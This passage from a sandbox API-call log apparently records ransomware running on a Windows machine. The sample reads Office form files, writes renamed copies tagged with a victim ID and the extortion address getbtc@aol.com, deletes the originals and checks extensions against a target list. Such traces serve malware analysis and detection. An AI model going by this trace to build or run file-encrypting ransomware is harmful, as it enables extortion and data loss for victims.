dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.501] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.502] GetLastError () returned 0x0 [0263.502] ReadFile (in: hFile=0x3c4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x436, lpOverlapped=0x0) returned 1 [0263.503] WriteFile (in: hFile=0x1f8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x440, lpOverlapped=0x0) returned 1 [0263.504] ReadFile (in: hFile=0x3c4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.504] WriteFile (in: hFile=0x1f8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0263.504] SetEndOfFile (hFile=0x1f8) returned 1 [0263.504] CloseHandle (hObject=0x1f8) returned 1 [0263.504] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.504] SetEndOfFile (hFile=0x3c4) returned 1 [0263.507] CloseHandle (hObject=0x3c4) returned 1 [0263.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico")) returned 1 [0263.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0263.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0263.509] lstrlenW (lpString=".doc") returned 4 [0263.509] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.509] lstrlenW (lpString=".docx") returned 5 [0263.509] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.509] lstrlenW (lpString=".pdf") returned 4 [0263.510] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.510] lstrlenW (lpString=".xls") returned 4 [0263.510] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.510] lstrlenW (lpString=".xlsx") returned 5 [0263.510] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.510] lstrlenW (lpString=".ppt") returned 4 [0263.510] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0263.510] lstrlenW (lpString=".zip") returned 4 [0263.510] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.510] lstrlenW (lpString=".rar") returned 4 [0263.510] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.510] lstrlenW (lpString=".bz2") returned 4 [0263.510] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.510] lstrlenW (lpString=".7z") returned 3 [0263.510] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0263.510] lstrlenW (lpString=".dbf") returned 4 [0263.510] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0263.510] lstrlenW (lpString=".1cd") returned 4 [0263.510] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0263.510] lstrlenW (lpString=".jpg") returned 4 [0263.510] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0263.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0263.510] lstrlenW (lpString=".doc") returned 4 [0263.510] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.510] lstrlenW (lpString=".docx") returned 5 [0263.510] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.510] lstrlenW (lpString=".pdf") returned 4 [0263.510] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.510] lstrlenW (lpString=".xls") returned 4 [0263.510] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.510] lstrlenW (lpString=".xlsx") returned 5 [0263.511] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.511] lstrlenW (lpString=".ppt") returned 4 [0263.511] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0263.511] lstrlenW (lpString=".zip") returned 4 [0263.511] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.511] lstrlenW (lpString=".rar") returned 4 [0263.511] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.511] lstrlenW (lpString=".bz2") returned 4 [0263.511] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.511] lstrlenW (lpString=".7z") returned 3 [0263.511] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0263.511] lstrlenW (lpString=".dbf") returned 4 [0263.511] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0263.511] lstrlenW (lpString=".1cd") returned 4 [0263.511] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0263.511] lstrlenW (lpString=".jpg") returned 4 [0263.511] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.511] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.511] lstrlenW (lpString="SECRECS.ICO") returned 11 [0263.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.512] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2998) returned 1 [0263.512] CloseHandle (hObject=0x3c4) returned 1 [0263.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico")) returned 0x20 [0263.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.512] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.512] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.513] GetLastError () returned 0x0 [0263.513] ReadFile (in: hFile=0x3c4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.680] WriteFile (in: hFile=0x1f8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.681] ReadFile (in: hFile=0x3c4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.681] WriteFile (in: hFile=0x1f8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0263.681] SetEndOfFile (hFile=0x1f8) returned 1 [0263.681] CloseHandle (hObject=0x1f8) returned 1 [0263.681] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.681] SetEndOfFile (hFile=0x3c4) returned 1 [0263.683] CloseHandle (hObject=0x3c4) returned 1 [0263.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico")) returned 1 [0263.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0263.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0263.713] lstrlenW (lpString=".doc") returned 4 [0263.713] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.713] lstrlenW (lpString=".docx") returned 5 [0263.713] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.713] lstrlenW (lpString=".pdf") returned 4 [0263.713] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.713] lstrlenW (lpString=".xls") returned 4 [0263.713] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.713] lstrlenW (lpString=".xlsx") returned 5 [0263.713] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.713] lstrlenW (lpString=".ppt") returned 4 [0263.713] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0263.713] lstrlenW (lpString=".zip") returned 4 [0263.713] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.713] lstrlenW (lpString=".rar") returned 4 [0263.713] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.713] lstrlenW (lpString=".bz2") returned 4 [0263.713] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.713] lstrlenW (lpString=".7z") returned 3 [0263.713] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0263.713] lstrlenW (lpString=".dbf") returned 4 [0263.713] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0263.714] lstrlenW (lpString=".1cd") returned 4 [0263.714] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0263.714] lstrlenW (lpString=".jpg") returned 4 [0263.714] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0263.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0263.714] lstrlenW (lpString=".doc") returned 4 [0263.714] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.714] lstrlenW (lpString=".docx") returned 5 [0263.714] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.714] lstrlenW (lpString=".pdf") returned 4 [0263.714] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.714] lstrlenW (lpString=".xls") returned 4 [0263.714] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.714] lstrlenW (lpString=".xlsx") returned 5 [0263.714] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.714] lstrlenW (lpString=".ppt") returned 4 [0263.714] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0263.714] lstrlenW (lpString=".zip") returned 4 [0263.714] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.714] lstrlenW (lpString=".rar") returned 4 [0263.714] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.714] lstrlenW (lpString=".bz2") returned 4 [0263.714] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.714] lstrlenW (lpString=".7z") returned 3 [0263.714] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0263.714] lstrlenW (lpString=".dbf") returned 4 [0263.714] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0263.714] lstrlenW (lpString=".1cd") returned 4 [0263.714] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0263.714] lstrlenW (lpString=".jpg") returned 4 [0263.715] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.715] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.715] lstrlenW (lpString="SMIMEE.CFG") returned 10 [0263.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.715] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=640) returned 1 [0263.715] CloseHandle (hObject=0x1bc) returned 1 [0263.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg")) returned 0x20 [0263.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.716] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.716] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.717] GetLastError () returned 0x0 [0263.717] ReadFile (in: hFile=0x1bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x280, lpOverlapped=0x0) returned 1 [0263.717] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x290, lpOverlapped=0x0) returned 1 [0263.718] ReadFile (in: hFile=0x1bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.718] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0263.718] SetEndOfFile (hFile=0x3e0) returned 1 [0263.718] CloseHandle (hObject=0x3e0) returned 1 [0263.719] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.719] SetEndOfFile (hFile=0x1bc) returned 1 [0263.721] CloseHandle (hObject=0x1bc) returned 1 [0263.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg")) returned 1 [0263.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0263.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0263.722] lstrlenW (lpString=".doc") returned 4 [0263.722] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.722] lstrlenW (lpString=".docx") returned 5 [0263.722] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0263.722] lstrlenW (lpString=".pdf") returned 4 [0263.722] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.723] lstrlenW (lpString=".xls") returned 4 [0263.723] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.723] lstrlenW (lpString=".xlsx") returned 5 [0263.723] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0263.723] lstrlenW (lpString=".ppt") returned 4 [0263.723] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0263.723] lstrlenW (lpString=".zip") returned 4 [0263.723] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.723] lstrlenW (lpString=".rar") returned 4 [0263.723] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.723] lstrlenW (lpString=".bz2") returned 4 [0263.723] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.723] lstrlenW (lpString=".7z") returned 3 [0263.723] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0263.723] lstrlenW (lpString=".dbf") returned 4 [0263.723] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0263.723] lstrlenW (lpString=".1cd") returned 4 [0263.723] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0263.723] lstrlenW (lpString=".jpg") returned 4 [0263.723] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0263.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0263.724] lstrlenW (lpString=".doc") returned 4 [0263.724] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.724] lstrlenW (lpString=".docx") returned 5 [0263.724] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0263.724] lstrlenW (lpString=".pdf") returned 4 [0263.724] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.724] lstrlenW (lpString=".xls") returned 4 [0263.724] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.724] lstrlenW (lpString=".xlsx") returned 5 [0263.724] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0263.724] lstrlenW (lpString=".ppt") returned 4 [0263.724] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0263.724] lstrlenW (lpString=".zip") returned 4 [0263.724] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.724] lstrlenW (lpString=".rar") returned 4 [0263.724] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.724] lstrlenW (lpString=".bz2") returned 4 [0263.724] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.724] lstrlenW (lpString=".7z") returned 3 [0263.724] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0263.724] lstrlenW (lpString=".dbf") returned 4 [0263.724] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0263.724] lstrlenW (lpString=".1cd") returned 4 [0263.724] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0263.724] lstrlenW (lpString=".jpg") returned 4 [0263.724] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.724] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.724] lstrlenW (lpString="SMIMES.CFG") returned 10 [0263.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.725] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=668) returned 1 [0263.725] CloseHandle (hObject=0x1bc) returned 1 [0263.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg")) returned 0x20 [0263.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.726] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.726] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.726] GetLastError () returned 0x0 [0263.726] ReadFile (in: hFile=0x1bc, lpBuffer=0x40e0020, 